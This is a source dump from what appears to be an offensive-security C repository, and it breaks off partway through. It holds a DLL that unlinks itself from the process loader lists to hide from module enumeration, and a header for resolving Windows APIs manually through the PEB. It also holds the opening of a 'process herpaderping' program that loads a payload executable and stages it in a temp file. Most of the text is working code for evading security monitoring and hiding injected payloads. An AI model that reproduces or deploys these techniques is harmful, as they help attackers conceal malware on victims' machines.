ReadOnlySharedMemoryHeap; 117 | PVOID *ReadOnlyStaticServerData; 118 | PVOID AnsiCodePageData; 119 | PVOID OemCodePageData; 120 | PVOID UnicodeCaseTableData; 121 | ULONG NumberOfProcessors; 122 | ULONG NtGlobalFlag; 123 | BYTE Spare2[0x4]; 124 | LARGE_INTEGER CriticalSectionTimeout; 125 | ULONG HeapSegmentReserve; 126 | ULONG HeapSegmentCommit; 127 | ULONG HeapDeCommitTotalFreeThreshold; 128 | ULONG HeapDeCommitFreeBlockThreshold; 129 | ULONG NumberOfHeaps; 130 | ULONG MaximumNumberOfHeaps; 131 | PVOID **ProcessHeaps; 132 | PVOID GdiSharedHandleTable; 133 | PVOID ProcessStarterHelper; 134 | PVOID GdiDCAttributeList; 135 | PVOID LoaderLock; 136 | ULONG OSMajorVersion; 137 | ULONG OSMinorVersion; 138 | ULONG OSBuildNumber; 139 | ULONG OSPlatformId; 140 | ULONG ImageSubSystem; 141 | ULONG ImageSubSystemMajorVersion; 142 | ULONG ImageSubSystemMinorVersion; 143 | ULONG GdiHandleBuffer[0x22]; 144 | ULONG PostProcessInitRoutine; 145 | ULONG TlsExpansionBitmap; 146 | BYTE TlsExpansionBitmapBits[0x80]; 147 | ULONG SessionId; 148 | } PEB, *PPEB; 149 | 150 | PPEB GetPeb(VOID) 151 | { 152 | #if defined(_WIN64) 153 | return (PPEB)__readgsqword(0x60); 154 | #elif define(_WIN32) 155 | return (PPEB)__readfsdword(0x30); 156 | #endif 157 | } 158 | 159 | INT StringCompareW(LPCWSTR String1, LPCWSTR String2) 160 | { 161 | for (; *String1 == *String2; String1++, String2++) 162 | { 163 | if (*String1 == '\0') 164 | return 0; 165 | } 166 | 167 | return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1); 168 | } 169 | 170 | typedef int(WINAPI *_RtlInitUnicodeString)( 171 | PUNICODE_STRING DestinationString, 172 | PCWSTR SourceString); 173 | 174 | void UnlinkModule() 175 | { 176 | 177 | LPCWSTR lpModuleName = L"dll_morph_module.dll"; 178 | PPEB Peb = GetPeb(); 179 | 180 | // unlink the object from the lists in InLoadOrderLinks 181 | PLDR_MODULE Module = NULL; 182 | 183 | PLIST_ENTRY Head = &Peb->LoaderData->InLoadOrderModuleList; 184 | PLIST_ENTRY Next = Head->Flink; 185 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 186 | 187 | while (Next != Head) 188 | { 189 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 190 | if (Module->BaseDllName.Buffer != NULL) 191 | { 192 | if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) 193 | { 194 | Module->HashTableEntry.Blink->Flink = Module->HashTableEntry.Flink; 195 | Module->HashTableEntry.Flink->Blink = Module->HashTableEntry.Blink; 196 | Module->InLoadOrderModuleList.Blink->Flink = Module->InLoadOrderModuleList.Flink; 197 | Module->InLoadOrderModuleList.Flink->Blink = Module->InLoadOrderModuleList.Blink; 198 | break; 199 | } 200 | } 201 | 202 | Next = Next->Flink; 203 | } 204 | 205 | // unlink the object from the lists in InInitializationOrderLinks 206 | Module = NULL; 207 | 208 | Head = &Peb->LoaderData->InInitializationOrderModuleList; 209 | Next = Head->Flink; 210 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 211 | 212 | while (Next != Head) 213 | { 214 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 215 | if (Module->BaseDllName.Buffer != NULL) 216 | { 217 | if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) 218 | { 219 | Module->HashTableEntry.Blink->Flink = Module->HashTableEntry.Flink; 220 | Module->HashTableEntry.Flink->Blink = Module->HashTableEntry.Blink; 221 | Module->InLoadOrderModuleList.Blink->Flink = Module->InLoadOrderModuleList.Flink; 222 | Module->InLoadOrderModuleList.Flink->Blink = Module->InLoadOrderModuleList.Blink; 223 | break; 224 | } 225 | } 226 | 227 | Next = Next->Flink; 228 | } 229 | 230 | // TODO: fix crash 231 | // unlink the object from the lists in InMemoryOrderModuleList 232 | // Module = NULL; 233 | 234 | // Head = &Peb->LoaderData->InMemoryOrderModuleList; 235 | // Next = Head->Flink; 236 | // Module = (PLDR_MODULE)((PBYTE)Next - 16); 237 | 238 | // while (Next != Head) 239 | // { 240 | // Module = (PLDR_MODULE)((PBYTE)Next - 16); 241 | // if (Module->BaseDllName.Buffer != NULL) 242 | // { 243 | // if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) 244 | // { 245 | // Module->HashTableEntry.Blink->Flink = Module->HashTableEntry.Flink; 246 | // Module->HashTableEntry.Flink->Blink = Module->HashTableEntry.Blink; 247 | // Module->InLoadOrderModuleList.Blink->Flink = Module->InLoadOrderModuleList.Flink; 248 | // Module->InLoadOrderModuleList.Flink->Blink = Module->InLoadOrderModuleList.Blink; 249 | // break; 250 | // } 251 | // } 252 | 253 | // Next = Next->Flink; 254 | // } 255 | } 256 | 257 | BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved) 258 | { 259 | switch (dwReason) 260 | { 261 | case DLL_PROCESS_ATTACH: 262 | UnlinkModule(); 263 | break; 264 | case DLL_THREAD_ATTACH: 265 | break; 266 | case DLL_THREAD_DETACH: 267 | break; 268 | case DLL_PROCESS_DETACH: 269 | break; 270 | } 271 | return 0; 272 | } -------------------------------------------------------------------------------- /include/dinvoke.h: -------------------------------------------------------------------------------- 1 | #include 2 | // #include 3 | 4 | //#include "dinvoke.h" 5 | //#include 6 | //#include 7 | 8 | typedef struct _LSA_UNICODE_STRING 9 | { 10 | USHORT Length; 11 | USHORT MaximumLength; 12 | PWSTR Buffer; 13 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 14 | 15 | typedef struct _PEB_LDR_DATA 16 | { 17 | ULONG Length; 18 | ULONG Initialized; 19 | PVOID SsHandle; 20 | LIST_ENTRY InLoadOrderModuleList; 21 | LIST_ENTRY InMemoryOrderModuleList; 22 | LIST_ENTRY InInitializationOrderModuleList; 23 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 24 | 25 | typedef struct _LDR_MODULE 26 | { 27 | LIST_ENTRY InLoadOrderModuleList; 28 | LIST_ENTRY InMemoryOrderModuleList; 29 | LIST_ENTRY InInitializationOrderModuleList; 30 | PVOID BaseAddress; 31 | PVOID EntryPoint; 32 | ULONG SizeOfImage; 33 | UNICODE_STRING FullDllName; 34 | UNICODE_STRING BaseDllName; 35 | ULONG Flags; 36 | SHORT LoadCount; 37 | SHORT TlsIndex; 38 | LIST_ENTRY HashTableEntry; 39 | ULONG TimeDateStamp; 40 | } LDR_MODULE, *PLDR_MODULE; 41 | 42 | typedef struct _CURDIR 43 | { 44 | UNICODE_STRING DosPath; 45 | PVOID Handle; 46 | } CURDIR, *PCURDIR; 47 | 48 | typedef struct _STRING 49 | { 50 | USHORT Length; 51 | USHORT MaximumLength; 52 | PCHAR Buffer; 53 | } ANSI_STRING, *PANSI_STRING; 54 | 55 | typedef struct _RTL_DRIVE_LETTER_CURDIR 56 | { 57 | WORD Flags; 58 | WORD Length; 59 | ULONG TimeStamp; 60 | ANSI_STRING DosPath; 61 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 62 | 63 | typedef struct _RTL_USER_PROCESS_PARAMETERS 64 | { 65 | ULONG MaximumLength; 66 | ULONG Length; 67 | ULONG Flags; 68 | ULONG DebugFlags; 69 | PVOID ConsoleHandle; 70 | ULONG ConsoleFlags; 71 | PVOID StandardInput; 72 | PVOID StandardOutput; 73 | PVOID StandardError; 74 | CURDIR CurrentDirectory; 75 | UNICODE_STRING DllPath; 76 | UNICODE_STRING ImagePathName; 77 | UNICODE_STRING CommandLine; 78 | PVOID Environment; 79 | ULONG StartingX; 80 | ULONG StartingY; 81 | ULONG CountX; 82 | ULONG CountY; 83 | ULONG CountCharsX; 84 | ULONG CountCharsY; 85 | ULONG FillAttribute; 86 | ULONG WindowFlags; 87 | ULONG ShowWindowFlags; 88 | UNICODE_STRING WindowTitle; 89 | UNICODE_STRING DesktopInfo; 90 | UNICODE_STRING ShellInfo; 91 | UNICODE_STRING RuntimeData; 92 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 93 | ULONG EnvironmentSize; 94 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 95 | 96 | typedef struct _PEB 97 | { 98 | BOOLEAN InheritedAddressSpace; 99 | BOOLEAN ReadImageFileExecOptions; 100 | BOOLEAN BeingDebugged; 101 | BOOLEAN Spare; 102 | HANDLE Mutant; 103 | PVOID ImageBase; 104 | PPEB_LDR_DATA LoaderData; 105 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 106 | PVOID SubSystemData; 107 | PVOID ProcessHeap; 108 | PVOID FastPebLock; 109 | PVOID FastPebLockRoutine; 110 | PVOID FastPebUnlockRoutine; 111 | ULONG EnvironmentUpdateCount; 112 | PVOID *KernelCallbackTable; 113 | PVOID EventLogSection; 114 | PVOID EventLog; 115 | PVOID FreeList; 116 | ULONG TlsExpansionCounter; 117 | PVOID TlsBitmap; 118 | ULONG TlsBitmapBits[0x2]; 119 | PVOID ReadOnlySharedMemoryBase; 120 | PVOID ReadOnlySharedMemoryHeap; 121 | PVOID *ReadOnlyStaticServerData; 122 | PVOID AnsiCodePageData; 123 | PVOID OemCodePageData; 124 | PVOID UnicodeCaseTableData; 125 | ULONG NumberOfProcessors; 126 | ULONG NtGlobalFlag; 127 | BYTE Spare2[0x4]; 128 | LARGE_INTEGER CriticalSectionTimeout; 129 | ULONG HeapSegmentReserve; 130 | ULONG HeapSegmentCommit; 131 | ULONG HeapDeCommitTotalFreeThreshold; 132 | ULONG HeapDeCommitFreeBlockThreshold; 133 | ULONG NumberOfHeaps; 134 | ULONG MaximumNumberOfHeaps; 135 | PVOID **ProcessHeaps; 136 | PVOID GdiSharedHandleTable; 137 | PVOID ProcessStarterHelper; 138 | PVOID GdiDCAttributeList; 139 | PVOID LoaderLock; 140 | ULONG OSMajorVersion; 141 | ULONG OSMinorVersion; 142 | ULONG OSBuildNumber; 143 | ULONG OSPlatformId; 144 | ULONG ImageSubSystem; 145 | ULONG ImageSubSystemMajorVersion; 146 | ULONG ImageSubSystemMinorVersion; 147 | ULONG GdiHandleBuffer[0x22]; 148 | ULONG PostProcessInitRoutine; 149 | ULONG TlsExpansionBitmap; 150 | BYTE TlsExpansionBitmapBits[0x80]; 151 | ULONG SessionId; 152 | } PEB, *PPEB; 153 | 154 | typedef NTSTATUS(WINAPI *LdrLoadDll_t)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); 155 | 156 | PPEB GetPeb(VOID) 157 | { 158 | #if defined(_WIN64) 159 | return (PPEB)__readgsqword(0x60); 160 | #elif define(_WIN32) 161 | return (PPEB)__readfsdword(0x30); 162 | #endif 163 | } 164 | 165 | wchar_t *wcsrchr(const wchar_t *s, wchar_t c) 166 | { 167 | const wchar_t *last; 168 | 169 | last = NULL; 170 | for (;;) 171 | { 172 | if (*s == c) 173 | last = s; 174 | if (*s == L'\0') 175 | break; 176 | s++; 177 | } 178 | 179 | return ((wchar_t *)last); 180 | } 181 | 182 | SIZE_T StringLengthW(LPCWSTR String) 183 | { 184 | LPCWSTR String2; 185 | 186 | for (String2 = String; *String2; ++String2) 187 | ; 188 | 189 | return (String2 - String); 190 | } 191 | 192 | int tolower(int c) 193 | { 194 | if (c >= 'A' && c <= 'Z') 195 | return c + 'a' - 'A'; 196 | else 197 | return c; 198 | } 199 | 200 | wint_t towlower(wint_t c) 201 | { 202 | if (c > 0xff) 203 | { 204 | return c; 205 | } 206 | return (wint_t)tolower((char)c); 207 | } 208 | 209 | INT StringCompareW(LPCWSTR String1, LPCWSTR String2) 210 | { 211 | for (; *String1 == *String2; String1++, String2++) 212 | { 213 | if (*String1 == '\0') 214 | return 0; 215 | } 216 | 217 | return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1); 218 | } 219 | 220 | INT StringCompareInsensitiveW(LPCWSTR s1, LPCWSTR s2) 221 | { 222 | const unsigned char *p1 = (const unsigned char *)s1; 223 | const unsigned char *p2 = (const unsigned char *)s2; 224 | unsigned char c1, c2; 225 | 226 | if (p1 == p2) 227 | return 0; 228 | 229 | do 230 | { 231 | c1 = towlower(*p1++); 232 | c2 = towlower(*p2++); 233 | if (c1 == '\0') 234 | break; 235 | } while (c1 == c2); 236 | 237 | return c1 - c2; 238 | } 239 | 240 | // int as_strcmpi(const char *s1, const char *s2) 241 | INT StringCompareInsensitiveA(LPCSTR s1, LPCSTR s2) 242 | { 243 | const unsigned char *p1 = (const unsigned char *)s1; 244 | const unsigned char *p2 = (const unsigned char *)s2; 245 | unsigned char c1, c2; 246 | 247 | if (p1 == p2) 248 | return 0; 249 | 250 | do 251 | { 252 | c1 = tolower(*p1++); 253 | c2 = tolower(*p2++); 254 | if (c1 == '\0') 255 | break; 256 | } while (c1 == c2); 257 | 258 | return c1 - c2; 259 | } 260 | 261 | INT string_compare_a(LPCSTR String1, LPCSTR String2) 262 | { 263 | for (; *String1 == *String2; String1++, String2++) 264 | { 265 | if (*String1 == '\0') 266 | return 0; 267 | } 268 | 269 | return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1); 270 | } 271 | 272 | SIZE_T CharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed) 273 | { 274 | INT Length = (INT)MaximumAllowed; 275 | 276 | while (--Length >= 0) 277 | { 278 | if (!(*Destination++ = *Source++)) 279 | return MaximumAllowed - Length - 1; 280 | } 281 | 282 | return MaximumAllowed - Length; 283 | } 284 | 285 | BOOL rtl_load_pe_headers(PIMAGE_DOS_HEADER *Dos, PIMAGE_NT_HEADERS *Nt, PIMAGE_FILE_HEADER *File, PIMAGE_OPTIONAL_HEADER *Optional, PBYTE *ImageBase) 286 | { 287 | *Dos = (PIMAGE_DOS_HEADER)*ImageBase; 288 | if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE) 289 | return FALSE; 290 | 291 | *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew); 292 | if ((*Nt)->Signature != IMAGE_NT_SIGNATURE) 293 | return FALSE; 294 | 295 | *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD)); 296 | *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER)); 297 | 298 | return TRUE; 299 | } 300 | 301 | DWORD64 RfGetProcAddressA(DWORD64 ModuleBase, LPCSTR lpProcName) 302 | { 303 | if (ModuleBase == 0) 304 | { 305 | return 0; 306 | } 307 | // PBYTE pFunctionName; 308 | PIMAGE_DOS_HEADER Dos; 309 | PIMAGE_NT_HEADERS Nt; 310 | PIMAGE_FILE_HEADER File; 311 | PIMAGE_OPTIONAL_HEADER Optional; 312 | 313 | rtl_load_pe_headers(&Dos, &Nt, &File, &Optional, (PBYTE *)&ModuleBase); 314 | 315 | IMAGE_EXPORT_DIRECTORY *ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress); 316 | 317 | IMAGE_DOS_HEADER *pDosHdr = (IMAGE_DOS_HEADER *)ModuleBase; 318 | IMAGE_NT_HEADERS *pNTHdr = (IMAGE_NT_HEADERS *)(ModuleBase + pDosHdr->e_lfanew); 319 | IMAGE_OPTIONAL_HEADER *pOptionalHdr = &pNTHdr->OptionalHeader; 320 | IMAGE_DATA_DIRECTORY *pDataDir = (IMAGE_DATA_DIRECTORY *)(&pOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); 321 | 322 | PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames); 323 | PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions); 324 | PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals); 325 | 326 | unsigned long right, left, middle; //, old_middle = 0; 327 | right = ExportTable->NumberOfNames; 328 | left = 0; 329 | 330 | DWORD64 pProcAddr = NULL; 331 | 332 | // binary search 333 | while (right != left) 334 | { 335 | middle = left + ((right - left) >> 1); 336 | int result = string_compare_a((char *)ModuleBase + FunctionNameAddressArray[middle], lpProcName); 337 | if (!result) 338 | { 339 | // printf("found %s\n", lpProcName); 340 | pProcAddr = (DWORD64)((char *)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[middle]]); 341 | break; 342 | } 343 | else if (result < 0) 344 | left = middle; 345 | else 346 | right = middle; 347 | } 348 | 349 | // https://devblogs.microsoft.com/oldnewthing/20060719-24/?p=30473 350 | if ((char *)pProcAddr >= (char *)ExportTable && 351 | (char *)pProcAddr < (char *)(ExportTable + pDataDir->Size)) 352 | { 353 | 0; 354 | // skip for now, todo: find poc 355 | } 356 | 357 | return pProcAddr; 358 | } 359 | 360 | HMODULE RfGetModuleHandleW(LPCWSTR lpModuleName) //, BOOL DoLoad) 361 | { 362 | PPEB Peb = GetPeb(); 363 | PLDR_MODULE Module = NULL; 364 | 365 | PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; 366 | PLIST_ENTRY Next = Head->Flink; 367 | 368 | BOOL IsFullPath = wcsrchr(lpModuleName, '\\') ? TRUE : FALSE; 369 | 370 | while (Next != Head) 371 | { 372 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 373 | if (Module->BaseDllName.Buffer != NULL) 374 | { 375 | if (IsFullPath) 376 | { 377 | if (StringCompareInsensitiveW(lpModuleName, Module->FullDllName.Buffer) == 0) 378 | { 379 | // printf("using module : %ls\n", Module->BaseDllName.Buffer); 380 | return (HMODULE)Module->BaseAddress; 381 | } 382 | } 383 | else 384 | { 385 | if (StringCompareInsensitiveW(lpModuleName, Module->BaseDllName.Buffer) == 0) 386 | { 387 | // printf("using module : %ls\n", Module->BaseDllName.Buffer); 388 | return (HMODULE)Module->BaseAddress; 389 | } 390 | } 391 | } 392 | 393 | Next = Next->Flink; 394 | } 395 | 396 | // if (!DoLoad) 397 | // return NULL; 398 | 399 | LdrLoadDll_t LdrLoadDll = (LdrLoadDll_t)(ULONG_PTR)RfGetProcAddressA( 400 | RfGetModuleHandleW(L"ntdll.dll"), 401 | "LdrLoadDll"); 402 | 403 | UNICODE_STRING ModuleFileName = {0}; 404 | ModuleFileName.Buffer = lpModuleName; 405 | ModuleFileName.Length = StringLengthW(ModuleFileName.Buffer); 406 | // ModuleFileName.Length *= 2; 407 | ModuleFileName.MaximumLength = ModuleFileName.Length + 2; 408 | 409 | HANDLE hLibrary = NULL; 410 | NTSTATUS status = LdrLoadDll( 411 | NULL, 412 | 0, 413 | &ModuleFileName, 414 | &hLibrary); 415 | 416 | // printf("loaded %ls at 0x%p\n", lpModuleName, hLibrary); 417 | 418 | return hLibrary; 419 | } 420 | -------------------------------------------------------------------------------- /pe_process_herpaderping.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define PS_INHERIT_HANDLES 4 5 | #define RTL_MAX_DRIVE_LETTERS 32 6 | #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 7 | 8 | typedef enum _PROCESSINFOCLASS 9 | { 10 | ProcessBasicInformation = 0, 11 | ProcessDebugPort = 7, 12 | ProcessWow64Information = 26, 13 | ProcessImageFileName = 27, 14 | ProcessBreakOnTermination = 29 15 | } PROCESSINFOCLASS; 16 | 17 | typedef struct _LSA_UNICODE_STRING 18 | { 19 | USHORT Length; 20 | USHORT MaximumLength; 21 | PWSTR Buffer; 22 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 23 | 24 | typedef struct _PEB_LDR_DATA 25 | { 26 | ULONG Length; 27 | ULONG Initialized; 28 | PVOID SsHandle; 29 | LIST_ENTRY InLoadOrderModuleList; 30 | LIST_ENTRY InMemoryOrderModuleList; 31 | LIST_ENTRY InInitializationOrderModuleList; 32 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 33 | 34 | typedef struct _LDR_MODULE 35 | { 36 | LIST_ENTRY InLoadOrderModuleList; 37 | LIST_ENTRY InMemoryOrderModuleList; 38 | LIST_ENTRY InInitializationOrderModuleList; 39 | PVOID BaseAddress; 40 | PVOID EntryPoint; 41 | ULONG SizeOfImage; 42 | UNICODE_STRING FullDllName; 43 | UNICODE_STRING BaseDllName; 44 | ULONG Flags; 45 | SHORT LoadCount; 46 | SHORT TlsIndex; 47 | LIST_ENTRY HashTableEntry; 48 | ULONG TimeDateStamp; 49 | } LDR_MODULE, *PLDR_MODULE; 50 | 51 | typedef struct _CURDIR 52 | { 53 | UNICODE_STRING DosPath; 54 | PVOID Handle; 55 | } CURDIR, *PCURDIR; 56 | 57 | typedef struct _STRING 58 | { 59 | USHORT Length; 60 | USHORT MaximumLength; 61 | PCHAR Buffer; 62 | } ANSI_STRING, *PANSI_STRING; 63 | 64 | typedef struct _RTL_DRIVE_LETTER_CURDIR 65 | { 66 | WORD Flags; 67 | WORD Length; 68 | ULONG TimeStamp; 69 | ANSI_STRING DosPath; 70 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 71 | 72 | typedef struct _RTL_USER_PROCESS_PARAMETERS 73 | { 74 | ULONG MaximumLength; 75 | ULONG Length; 76 | ULONG Flags; 77 | ULONG DebugFlags; 78 | PVOID ConsoleHandle; 79 | ULONG ConsoleFlags; 80 | PVOID StandardInput; 81 | PVOID StandardOutput; 82 | PVOID StandardError; 83 | CURDIR CurrentDirectory; 84 | UNICODE_STRING DllPath; 85 | UNICODE_STRING ImagePathName; 86 | UNICODE_STRING CommandLine; 87 | PVOID Environment; 88 | ULONG StartingX; 89 | ULONG StartingY; 90 | ULONG CountX; 91 | ULONG CountY; 92 | ULONG CountCharsX; 93 | ULONG CountCharsY; 94 | ULONG FillAttribute; 95 | ULONG WindowFlags; 96 | ULONG ShowWindowFlags; 97 | UNICODE_STRING WindowTitle; 98 | UNICODE_STRING DesktopInfo; 99 | UNICODE_STRING ShellInfo; 100 | UNICODE_STRING RuntimeData; 101 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 102 | ULONG EnvironmentSize; 103 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 104 | 105 | typedef struct _PEB 106 | { 107 | BOOLEAN InheritedAddressSpace; 108 | BOOLEAN ReadImageFileExecOptions; 109 | BOOLEAN BeingDebugged; 110 | BOOLEAN Spare; 111 | HANDLE Mutant; 112 | PVOID ImageBase; 113 | PPEB_LDR_DATA LoaderData; 114 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 115 | PVOID SubSystemData; 116 | PVOID ProcessHeap; 117 | PVOID FastPebLock; 118 | PVOID FastPebLockRoutine; 119 | PVOID FastPebUnlockRoutine; 120 | ULONG EnvironmentUpdateCount; 121 | PVOID *KernelCallbackTable; 122 | PVOID EventLogSection; 123 | PVOID EventLog; 124 | PVOID FreeList; 125 | ULONG TlsExpansionCounter; 126 | PVOID TlsBitmap; 127 | ULONG TlsBitmapBits[0x2]; 128 | PVOID ReadOnlySharedMemoryBase; 129 | PVOID ReadOnlySharedMemoryHeap; 130 | PVOID *ReadOnlyStaticServerData; 131 | PVOID AnsiCodePageData; 132 | PVOID OemCodePageData; 133 | PVOID UnicodeCaseTableData; 134 | ULONG NumberOfProcessors; 135 | ULONG NtGlobalFlag; 136 | BYTE Spare2[0x4]; 137 | LARGE_INTEGER CriticalSectionTimeout; 138 | ULONG HeapSegmentReserve; 139 | ULONG HeapSegmentCommit; 140 | ULONG HeapDeCommitTotalFreeThreshold; 141 | ULONG HeapDeCommitFreeBlockThreshold; 142 | ULONG NumberOfHeaps; 143 | ULONG MaximumNumberOfHeaps; 144 | PVOID **ProcessHeaps; 145 | PVOID GdiSharedHandleTable; 146 | PVOID ProcessStarterHelper; 147 | PVOID GdiDCAttributeList; 148 | PVOID LoaderLock; 149 | ULONG OSMajorVersion; 150 | ULONG OSMinorVersion; 151 | ULONG OSBuildNumber; 152 | ULONG OSPlatformId; 153 | ULONG ImageSubSystem; 154 | ULONG ImageSubSystemMajorVersion; 155 | ULONG ImageSubSystemMinorVersion; 156 | ULONG GdiHandleBuffer[0x22]; 157 | ULONG PostProcessInitRoutine; 158 | ULONG TlsExpansionBitmap; 159 | BYTE TlsExpansionBitmapBits[0x80]; 160 | ULONG SessionId; 161 | } PEB, *PPEB; 162 | 163 | typedef struct _OBJECT_ATTRIBUTES 164 | { 165 | ULONG Length; 166 | HANDLE RootDirectory; 167 | PUNICODE_STRING ObjectName; 168 | ULONG Attributes; 169 | PVOID SecurityDescriptor; 170 | PVOID SecurityQualityOfService; 171 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 172 | 173 | typedef struct _PROCESS_BASIC_INFORMATION 174 | { 175 | PVOID Reserved1; 176 | PPEB PebBaseAddress; 177 | PVOID Reserved2[2]; 178 | ULONG_PTR UniqueProcessId; 179 | PVOID Reserved3; 180 | } PROCESS_BASIC_INFORMATION; 181 | 182 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtCreateSection)( 183 | PHANDLE SectionHandle, 184 | ACCESS_MASK DesiredAccess, 185 | POBJECT_ATTRIBUTES ObjectAttributes, 186 | PLARGE_INTEGER MaximumSize, 187 | ULONG SectionPageProtection, 188 | ULONG AllocationAttributes, 189 | HANDLE FileHandle); 190 | 191 | typedef NTSYSAPI NTSTATUS(NTAPI *_RtlCreateProcessParametersEx)( 192 | PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, 193 | PUNICODE_STRING ImagePathName, 194 | PUNICODE_STRING DllPath, 195 | PUNICODE_STRING CurrentDirectory, 196 | PUNICODE_STRING CommandLine, 197 | PVOID Environment, 198 | PUNICODE_STRING WindowTitle, 199 | PUNICODE_STRING DesktopInfo, 200 | PUNICODE_STRING ShellInfo, 201 | PUNICODE_STRING RuntimeData, 202 | ULONG Flags); 203 | 204 | typedef void(WINAPI *_RtlInitUnicodeString)( 205 | PUNICODE_STRING DestinationString, 206 | PCWSTR SourceString); 207 | 208 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtAllocateVirtualMemory)( 209 | HANDLE ProcessHandle, 210 | PVOID *BaseAddress, 211 | ULONG_PTR ZeroBits, 212 | PSIZE_T RegionSize, 213 | ULONG AllocationType, 214 | ULONG Protect); 215 | 216 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtWriteVirtualMemory)( 217 | HANDLE ProcessHandle, 218 | PVOID BaseAddress, 219 | VOID *Buffer, 220 | SIZE_T BufferSize, 221 | PSIZE_T NumberOfBytesWritten); 222 | 223 | typedef NTSTATUS(WINAPI *_NtCreateThreadEx)( 224 | PHANDLE ThreadHandle, 225 | ACCESS_MASK DesiredAccess, 226 | POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 227 | HANDLE ProcessHandle, 228 | PVOID StartRoutine, 229 | PVOID Argument OPTIONAL, 230 | ULONG CreateFlags, 231 | ULONG_PTR ZeroBits, 232 | SIZE_T StackSize OPTIONAL, 233 | SIZE_T MaximumStackSize OPTIONAL, 234 | PVOID AttributeList OPTIONAL); 235 | 236 | typedef NTSYSAPI PIMAGE_NT_HEADERS(NTAPI *_RtlImageNtHeader)( 237 | PVOID Base); 238 | 239 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtReadVirtualMemory)( 240 | HANDLE ProcessHandle, 241 | PVOID BaseAddress, 242 | PVOID Buffer, 243 | SIZE_T BufferSize, 244 | PSIZE_T NumberOfBytesRead); 245 | 246 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtCreateProcessEx)( 247 | PHANDLE ProcessHandle, 248 | ACCESS_MASK DesiredAccess, 249 | POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 250 | HANDLE ParentProcess, 251 | ULONG Flags, 252 | HANDLE SectionHandle OPTIONAL, 253 | HANDLE DebugPort OPTIONAL, 254 | HANDLE ExceptionPort OPTIONAL, 255 | BOOLEAN InJob); 256 | 257 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtQueryInformationProcess)( 258 | HANDLE ProcessHandle, 259 | PROCESSINFOCLASS ProcessInformationClass, 260 | PVOID ProcessInformation, 261 | ULONG ProcessInformationLength, 262 | PULONG ReturnLength OPTIONAL); 263 | 264 | int main() 265 | { 266 | // read payload pe file into heap 267 | HANDLE hFile = CreateFileW(L"Z:\\git\\offensive_c\\bin\\myexe_mainexec.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 268 | size_t payload_size = GetFileSize(hFile, NULL); 269 | BYTE *payload = (BYTE *)VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 270 | ReadFile(hFile, payload, payload_size, NULL, NULL); 271 | CloseHandle(hFile); 272 | printf("read payload pe file into heap\n"); 273 | 274 | // Create a temp File 275 | // later this file holds our payload 276 | wchar_t tempFile[MAX_PATH] = {0}; 277 | wchar_t tempPath[MAX_PATH] = {0}; 278 | GetTempPathW(MAX_PATH, tempPath); 279 | GetTempFileNameW(tempPath, L"HD", 0, tempFile); 280 | printf("create temp file for payload :\ntemp path %ls\ntemp file %ls\n", tempPath, tempFile); 281 | 282 | // Write Payload into the temp file 283 | HANDLE hTemp = CreateFileW(tempFile, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 284 | FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 